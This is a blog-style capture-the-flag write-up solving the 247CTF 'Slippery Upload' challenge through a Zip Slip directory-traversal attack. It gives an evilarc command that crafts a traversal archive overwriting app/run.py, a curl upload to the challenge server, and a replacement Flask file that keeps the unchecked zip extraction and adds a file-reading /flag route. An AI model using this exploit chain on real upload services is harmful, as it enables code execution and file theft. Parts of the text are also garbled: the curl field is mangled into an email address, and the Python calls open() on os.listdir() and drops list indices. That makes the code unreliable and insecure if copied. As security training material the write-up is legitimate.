A beautiful web challenge Slippery Upload from 247CTF.com, here is my way…
Can you abuse the zip upload and extraction service to gain code execution on the server?
This one was easy, even if I did not know about it.
Duckduckgo for “zip vulnerability” will push you to the good first result.
So there is a “Zip Slip”
The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../evil.sh). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z.
Normal archiving programs check for the directory traversal in filenames, but in majority of the programming languages, that security aspect is left in the hands of the creator. If they forget about it, well read along.
I have used evilarc.
./evilarc.py run.py -o unix -p app/
Good old cURL:
curl -X POST -Fzarchivefirstname.lastname@example.org https://10382c7e429d0159.247ctf.com/zip_upload
/tmp/uploads, so basically we need to traverse two parent folders (but you can just use the default 8 from evilarc, one can’t go higher than root
/open/run.pytells us what file can we overwrite
I recommend you to test the solution in the local environment, as line breaks in python can create a mess (Internal Server Error).
from flask import Flask, request import zipfile, os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(32) app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024 app.config['UPLOAD_FOLDER'] = '/tmp/uploads/' @app.route('/flag') def flag(): f = open(os.listdir(), 'r') contents = f.read() return contents @app.route('/') def source(): return '%s' % open('/app/run.py').read() def zip_extract(zarchive): with zipfile.ZipFile(zarchive, 'r') as z: for i in z.infolist(): with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f: f.write(z.open(i.filename, 'r').read()) @app.route('/zip_upload', methods=['POST']) def zip_upload(): try: if request.files and 'zarchive' in request.files: zarchive = request.files['zarchive'] if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1).lower() == 'zip' and zarchive.content_type == 'application/octet-stream': zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex()) zarchive.save(zpath) zip_extract(zpath) return 'Zip archive uploaded and extracted!' return 'Only valid zip archives are accepted!' except: return 'Error occured during the zip upload process!' if __name__ == '__main__': app.run()